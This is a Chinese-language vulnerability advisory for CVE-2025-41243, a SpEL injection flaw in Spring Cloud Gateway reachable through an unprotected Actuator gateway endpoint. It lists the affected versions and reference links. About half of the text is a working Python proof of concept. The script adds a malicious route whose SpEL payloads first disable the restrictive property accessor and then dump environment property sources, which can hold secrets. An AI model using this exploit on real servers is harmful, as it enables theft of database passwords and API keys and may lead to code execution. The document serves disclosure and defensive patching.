
0x00 前言
Spring是Java EE编程领域的一个轻量级开源框架。
Spring框架的核心特性是可以用于开发任何Java应用程序,但是在Java EE平台上构建web应用程序是需要扩展的。
Spring框架的目标是使J2EE开发变得更容易使用,通过启用基于POJO的编程模型来促进良好的编程实践。
0x01 漏洞描述
该漏洞的核心在于Spring Cloud Gateway的WebFlux组件对SpEL表达式的安全校验机制存在缺陷,当应用同时满足以下条件时即存在被攻击的风险:使用WebFlux版本的Gateway、集成Spring Boot Actuator、通过
management.endpoints.web.exposure.include=gateway暴露网关端点,且未对Actuator实施访问控制。
攻击者可构造恶意SpEL表达式,通过Actuator端点注入并执行,进而修改restrictive-property-accessor等系统属性,绕过安全限制。
攻击者能够访问@environment等敏感bean,读取环境变量中的数据库密码、API密钥等敏感信息,甚至实现远程代码执行,严重威胁系统安全。
0x02 CVE编号
CVE-2025-41243
0x03 影响版本
4.3.0 ≤ Spring Cloud Gateway < 4.3.1
4.2.0 ≤ Spring Cloud Gateway < 4.2.5
4.1.0 ≤ Spring Cloud Gateway < 4.1.11
4.0.0 ≤ Spring Cloud Gateway < 4.0.11
3.1.0 ≤ Spring Cloud Gateway < 3.1.110x04 漏洞详情
POC:
https://blog.z3r.ru/posts/spring-cloud-gateway-spel-vuln/
import requests
s = requests.Session()
URL = "http://localhost:9000/"
ROUTE_NAME = "test_a"
def add_route(predicate: str):
res = s.post(
f"{URL}actuator/gateway/routes/{ROUTE_NAME}",
json={
"predicates": [{"name": "Path", "args": {"_genkey_0": "/actuators/test"}}],
"filters": [
{
"name": "RewritePath",
"args": {
"_genkey_0": "/test",
"_genkey_1": predicate,
},
}
],
"uri": "http://example.com",
"order": -1,
},
)
res.raise_for_status()
s.post(
f"{URL}actuator/gateway/refresh",
)
res.raise_for_status()
def read_route():
res = s.get(f"{URL}actuator/gateway/routes/{ROUTE_NAME}")
try:
return res.json()["filters"]
except Exception as e:
print(f"UNEXPECTED: {e!r}, {res.status_code} {res.text}")
raise
def delete_route():
res = s.delete(f"{URL}actuator/gateway/routes/{ROUTE_NAME}")
res.raise_for_status()
s.post(
f"{URL}actuator/gateway/refresh",
)
res.raise_for_status()
add_route(" #{ @systemProperties['spring.cloud.gateway.restrictive-property-accessor.enabled'] = false}")
print(read_route())
add_route(" #{ @environment.getPropertySources.?[#this.name matches '.*optional:classpath:.*' ][0].source.![{#this.getKey, #this.getValue.toString}] }")
print(read_route())0x05 参考链接
https://spring.io/security/cve-2025-41243
https://blog.z3r.ru/posts/spring-cloud-gateway-spel-vuln/
https://xz.aliyun.com/news/19006